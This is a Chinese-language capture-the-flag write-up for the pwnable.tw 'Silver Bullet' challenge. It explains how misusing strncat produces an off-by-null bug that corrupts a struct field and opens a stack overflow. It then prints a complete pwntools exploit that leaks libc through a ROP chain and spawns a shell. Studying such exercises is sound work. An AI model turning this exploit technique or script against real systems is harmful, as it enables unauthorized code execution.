Off-by-NULL
功能描述
循环打印一个菜单,可以选择生成子弹、升级子弹、攻击BOSS(成功了才能return)、或者exit(0)
推测子弹结构如下:
1 2 3 4
| typedef struct _Bullet { char description[0x30]; unsigned int power; }
|
生成子弹和升级子弹时,都会提示输入description,然后对输入的description使用strlen,加到power上。
在升级子弹时,description的大小限制为 0x30-power,读取到power_up的栈帧上。在更新power后将会用strncat()将新的description加到原来的description之后。
漏洞
本题漏洞是对于strncat的误用。
假设上述description已经有0x2f个字符,那么在power_up函数中,会限制只能读取一个字符。
然而在复制字符串时,strncat不仅会把description[0x2f]覆盖成该字符,还会把后面的description[0x30]修改成’\x00’。
也就是说,虽说strncat有一个大小限制n的参数,但这个n并不能保证参数中的dest字符串只有n个字符被修改,而是说参数中的src字符串至多有多长!
在本题中,程序并没有考虑到这一点,因此可以把正好位于description[0x30]的power最低位覆盖为’\x00’。如此一来,在下一次power_up时,我们就可以从power这个变量开始,输入0x30个字符,达成栈溢出攻击。
利用
由于只能一次输入,因此我选择泄露libc的puts之后(打败boss来正常return),调用_start重开,在新的一轮中再实施攻击,拿到shell。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| from pwn import * context.arch='i386'
filename="./silver_bullet" io = process([filename], env={"LD_PRELOAD":"./libc_32.so.6"}) elf=ELF(filename)
libc_name="./libc_32.so.6" libc=ELF(libc_name)
io = remote("chall.pwnable.tw", 10103)
def dbg(): g = gdb.attach(io)
def rop(payload): io.send(b'1') io.recv() io.send(b'\xff'*47) io.recv()
io.send(b'2') io.recv() io.send(b'\xff') io.recv()
io.send(b'2') io.recv() io.send(b'\xff'*7 + payload) io.recv()
io.send(b'3')
payload = b'' payload += pack(elf.plt['puts']) payload += pack(elf.symbols['_start']) payload += pack(elf.got['puts'])
rop(payload) mes = io.recvrepeat(5) pos = mes.find(b'You win !!\n') + len('You win !!\n') libc_base = unpack(mes[pos:pos+4]) - libc.symbols['puts']
payload = b'' payload += pack(libc_base + libc.symbols['system']) payload += pack(libc_base + libc.symbols['system']) payload += pack(libc_base + 0x00158e8b)
rop(payload) io.interactive()
|